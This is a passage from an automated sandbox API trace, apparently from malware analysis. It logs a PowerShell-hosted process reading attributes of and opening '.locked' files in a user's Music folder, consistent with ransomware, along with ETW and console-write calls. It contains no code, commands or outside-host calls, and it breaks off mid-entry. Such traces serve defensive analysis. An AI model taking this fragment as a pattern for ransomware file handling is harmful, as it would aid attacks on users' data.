[1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9a, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.381] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.381] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.381] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9a, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.381] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.382] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\4b4epzc2t6lag3wb7.wav.locked")) returned 0x20 [0133.383] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\4b4epzc2t6lag3wb7.wav.locked")) returned 0x20 [0133.383] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav.locked", lpFilePart=0x0) returned 0x4c [0133.383] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav.locked", lpFilePart=0x0) returned 0x4c [0133.383] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.383] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav", lpFilePart=0x0) returned 0x45 [0133.383] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.383] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.383] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.383] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.385] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.385] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.385] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9d, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.385] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.385] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9d, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9d, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.386] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9d, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.386] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.386] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9e, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.386] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9d, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.386] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9e, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9e, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.388] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9e, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.388] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x80") returned 0x0 [0133.388] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9f, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.388] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9e, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.388] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9f, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9f, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.389] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9f, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.389] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.389] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa0, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.390] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9f, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.390] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa0, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa0, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.391] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa0, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.393] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x99add1c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0133.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0133.393] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\4b4epzc2t6lag3wb7.wav.locked"), fInfoLevelId=0x0, lpFileInformation=0x69fb264 | out: lpFileInformation=0x69fb264*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12b953b1, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x12b953b1, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x12b953b1, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x130f4)) returned 1 [0133.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0133.393] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav.locked", lpFilePart=0x0) returned 0x4c [0133.393] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\4b4epzc2t6lag3wb7.wav.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0133.393] GetFileInformationByHandle (in: hFile=0x858, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0133.394] CloseHandle (hObject=0x858) returned 1 [0133.396] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae54c | out: lpConsoleScreenBufferInfo=0x99ae54c) returned 1 [0133.396] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae554 | out: lpMode=0x99ae554) returned 1 [0133.397] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae54c, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae54c*=0x2) returned 1 [0133.401] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4f0 | out: lpConsoleScreenBufferInfo=0x99ae4f0) returned 1 [0133.401] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0133.401] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0133.401] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0133.404] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae554 | out: lpConsoleScreenBufferInfo=0x99ae554) returned 1 [0133.405] GetConsoleOutputCP () returned 0x1b5 [0133.405] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2d8) returned 0 [0133.405] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3a4 | out: lpConsoleScreenBufferInfo=0x99ae3a4) returned 1 [0133.405] GetConsoleOutputCP () returned 0x1b5 [0133.406] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae340, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae340) returned 0 [0133.406] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0133.406] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a23374*, nNumberOfCharsToWrite=0x3e, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x6a23374*, lpNumberOfCharsWritten=0x99ae3a4*=0x3e) returned 1 [0133.407] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0133.407] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3a4*=0x2) returned 1 [0133.410] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4ac | out: lpConsoleScreenBufferInfo=0x99ae4ac) returned 1 [0133.410] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4b4 | out: lpMode=0x99ae4b4) returned 1 [0133.410] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4ac, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4ac*=0x2) returned 1 [0133.413] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0133.414] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0133.414] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0133.417] GetConsoleOutputCP () returned 0x1b5 [0133.417] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0133.417] GetConsoleOutputCP () returned 0x1b5 [0133.418] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0133.418] GetConsoleOutputCP () returned 0x1b5 [0133.418] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0133.418] GetConsoleOutputCP () returned 0x1b5 [0133.418] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0133.418] GetConsoleOutputCP () returned 0x1b5 [0133.419] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0133.419] GetConsoleOutputCP () returned 0x1b5 [0133.419] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0133.419] GetConsoleOutputCP () returned 0x1b5 [0133.419] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0133.419] GetConsoleOutputCP () returned 0x1b5 [0133.419] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0133.420] GetConsoleOutputCP () returned 0x1b5 [0133.420] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0133.420] GetConsoleOutputCP () returned 0x1b5 [0133.420] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0133.420] GetConsoleOutputCP () returned 0x1b5 [0133.420] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0133.420] GetConsoleOutputCP () returned 0x1b5 [0133.421] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0133.421] GetConsoleOutputCP () returned 0x1b5 [0133.421] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0133.421] GetConsoleOutputCP () returned 0x1b5 [0133.421] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0133.421] GetConsoleOutputCP () returned 0x1b5 [0133.422] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0133.422] GetConsoleOutputCP () returned 0x1b5 [0133.422] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0133.422] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0133.422] GetConsoleOutputCP () returned 0x1b5 [0133.423] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0133.423] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0133.423] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a24204*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x6a24204*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0133.423] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0133.424] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0133.428] GetConsoleOutputCP () returned 0x1b5 [0133.428] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0133.428] GetConsoleOutputCP () returned 0x1b5 [0133.429] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0133.429] GetConsoleOutputCP () returned 0x1b5 [0133.429] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0133.429] GetConsoleOutputCP () returned 0x1b5 [0133.429] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0133.429] GetConsoleOutputCP () returned 0x1b5 [0133.430] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0133.430] GetConsoleOutputCP () returned 0x1b5 [0133.430] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0133.430] GetConsoleOutputCP () returned 0x1b5 [0133.430] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0133.430] GetConsoleOutputCP () returned 0x1b5 [0133.431] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0133.431] GetConsoleOutputCP () returned 0x1b5 [0133.431] TranslateCharsetInfo (in: lpSrc=0x1b5, 